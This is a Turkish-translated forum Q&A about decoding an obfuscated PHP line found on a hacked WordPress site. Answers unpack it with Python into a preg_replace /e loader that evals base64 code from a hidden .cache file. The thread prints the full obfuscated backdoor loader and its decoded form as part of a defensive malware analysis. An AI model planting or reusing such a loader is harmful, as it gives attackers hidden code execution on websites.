Soru Bu WordPress Hack'ini nasıl çözerim? [kapalı]


Bir müşterinin WordPress destekli web sitesinde bir suçlama dizesi buldum ve sadece ne yaptığını bilmek istiyorum.

@preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x64\62\x56\151\x4c\63\x56\172\x5a\130\x4a\172\x4c\172\x49\167\x4d\152\x6b\165\x59\155\x6c\156\x4e\151\x39\172\x61\130\x52\154\x63\171\x39\151\x61\127\x63\62\x4c\63\x42\61\x59\155\x78\160\x59\61\x39\157\x64\107\x31\163\x4c\62\x5a\166\x63\156\x56\164\x4c\62\x4a\151\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x70\170\x64\127\x56\171\x65\123\x38\165\x59\62\x46\152\x61\107\x55\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75");

Birisi bunu çözmek için atılması gereken adımları özetleyebilir mi? Preg_replace () 'ın ne olduğunu biliyorum, ancak argümanları fonksiyona nasıl çözeceğimi veya PHP'nin bunu nasıl kullanabileceğine nasıl dönüştürdüğünü bilmiyorum.


5
2018-03-18 22:38


Menşei


X40'ın altıgen olduğu anlamına gelir. - bobber205


Cevaplar:


İlginç. Bu tarz bir görev için python kullanmayı seviyorum. Bir python (3.x) komut satırında takip edebilirsiniz:

Giriş:

print(b"\x40\50\x2e\53\x29\100\x69\145")

Çıktı:

b'@(.+)@ie'

Giriş:

print(b"\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x64\62\x56\151\x4c\63\x56\172\x5a\130\x4a\172\x4c\172\x49\167\x4d\152\x6b\165\x59\155\x6c\156\x4e\151\x39\172\x61\130\x52\154\x63\171\x39\151\x61\127\x63\62\x4c\63\x42\61\x59\155\x78\160\x59\61\x39\157\x64\107\x31\163\x4c\62\x5a\166\x63\156\x56\164\x4c\62\x4a\151\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x70\170\x64\127\x56\171\x65\123\x38\165\x59\62\x46\152\x61\107\x55\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75")

Çıktı:

b'eval(base64_decode(implode("\\n",file(base64_decode("\\1")))));' L2hvbWUvd2ViL3VzZXJzLzIwMjkuYmlnNi9zaXRlcy9iaWc2L3B1YmxpY19odG1sL2ZvcnVtL2JiLWluY2x1ZGVzL2pzL2pxdWVyeS8uY2FjaGUvLiU4MjhFJTAwMTMlQjhGMyVCQzFCJUIyMkIlNEY1Nw==

Çöpün o yığını temelde64, çağrının ima ettiği gibi, devam edelim.

Giriş:

import base64
base64.b64decode(b"L2hvbWUvd2ViL3VzZXJzLzIwMjkuYmlnNi9zaXRlcy9iaWc2L3B1YmxpY19odG1sL2ZvcnVtL2JiLWluY2x1ZGVzL2pzL2pxdWVyeS8uY2FjaGUvLiU4MjhFJTAwMTMlQjhGMyVCQzFCJUIyMkIlNEY1Nw==")

Çıktı:

b'/home/web/users/2029.big6/sites/big6/public_html/forum/bb-includes/js/jquery/.cache/.%828E%0013%B8F3%BC1B%B22B%4F57'

Neler olduğu hakkında iyi bir fikir sahibi olmak, sitenin geri kalanında, özellikle de referans aldığı dosyaya daha yakından bakmak gerektiğine; Muhtemelen base64 kodlu kodun daha fazla satırı doludur. Ancak, sitenin oldukça iyi bir şekilde ele geçirildiğini düşünmek bile güvenlidir. İçeriği çekmek ve bunun gibi herhangi bir şeyi temizlemek ve yeni bir örnekle baştan başlamak iyi bir fikirdir.


10
2018-03-18 22:54



Bu beynimi gıdıkladı! - Campo
Aslında PHP de aynı şeyleri yapıyor, aynı şeyi yapıyor. Preg_replace () 'daki "e" bayrağı, PHP'ye L2hvb ... == junk yerine \1 Buradaki komutta, komutu çalıştırmalıdır. Komut, önbellek dosyasının bir dizide okunduğunu okur, onu bir dizeye (kodlanmış olan base64 kodlu) böler ve sonra değerlendirir. - DerfK
@DerfK Evet, bu gönderdikten hemen sonra bana vurdu - implode() Çağrı beni durdu ve düşün, çünkü python'da yok. Düzenlendi, teşekkürler :) - Shane Madden♦
Sadece eğlenmek için "/public_html/forum/bb-includes/js/jquery/.cache/.%828E%0013%B8F3%BC1B%B22B%4F57" dosyasına bir göz attım. İstemci Basit kurulum: Bir süre geri, güzel ama ilkel bir forum uygulaması. - Dennis Wurster
/.Cache/ dizininde bulduğum şey 10 farklı dosyadan oluşuyordu, hepsi kodlanmış base64. Belli bir dosya, sahte blog girişleri oluşturma ile ilgili içeriğe sahip olduğuna işaret etti. Anlayabildiğim kadarıyla, sadece sahte sayfalarını arama motoru örümceklerine ve insan ziyaretçilerine göstermemek gibi görünüyor. - Dennis Wurster